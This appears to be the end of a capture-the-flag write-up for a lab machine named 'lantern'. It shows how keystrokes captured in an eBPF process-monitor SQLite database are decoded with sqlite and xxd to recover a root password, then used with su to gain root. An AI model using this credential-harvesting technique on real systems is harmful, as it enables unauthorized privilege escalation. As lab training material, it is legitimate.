It is a SQLite
file:
tomas@lantern:~$ file procmon_2024-11-14_08\:11\:17.db
procmon_2024-11-14_08:11:17.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 4, database pages 296, cookie 0x4, schema 4, UTF-8, version-valid-for 4
We pass it to our attacker machine (using scp
, for example) and use SQLite
to analyze it:
sqlite> .tables
ebpf metadata stats
We have a column named ebpf
. Searching what this could be we have:
Extended Berkeley Packet Filter
(eBPF
) is a Linux
kernel technology enabling engineers to build programs that run securely in kernel space.Reading the content of this table we get:
sqlite> PRAGMA table_info(ebpf);
0|pid|INT|0||0
1|stacktrace|TEXT|0||0
2|comm|TEXT|0||0
3|processname|TEXT|0||0
4|resultcode|INTEGER|0||0
5|timestamp|INTEGER|0||0
6|syscall|TEXT|0||0
7|duration|INTEGER|0||0
8|arguments|BLOB|0||0
sqlite> select * from ebpf;
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|25511746524120|write|16581|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|34715|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|73939|
The thing is the table has 9 columns (from 0
to 8
), but we only see 8 columns.
We can then attempt to write all the data that actually exists (that could be blobs) in a file. For that we run:
sqlite> .output result.txt
sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
Program interrupted.
Where we have just pressed Ctrl+C
to stop SQLite
and write the output into a file named result.txt
:
❯ wc -l result.txt
2651 result.txt
❯ head result.txt
1B5B3F32356C
1B5B3F323568
08
2051
20
1B5B3F32356C
1B5B3F323568
33
33
1B5B3F32356C
We got a non-empty file.
We can read the result (a little bugged) using our terminal:
❯ cat result.txt | xxd -r -p | less -S
Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uuddoo [?25 . //bbaacckkuupp..sshh^M[?25l[4;37[?25l^Meecchh^Mecho[?25l [?25 Q 33EEddddttddww33ppMMBB [?25 |[?25l [?25 s uudd
<SNIP>
I assume that every letter is duplicated in 33EEddddttddww33ppMMBB
.
Therefore, we have 3Eddtdw3pMB
. We check if this password works for root
user:
tomas@lantern:~$ su root
Password:
su: Authentication failure
Did not work. There is a Q
before that. Maybe Q3Eddtdw3pMB
is the password?
tomas@lantern:~$ su root
Password:
root@lantern:/home/tomas# whoami
root
It worked! GG.
We can read the root
flag at /root
directory.
~Happy Hacking.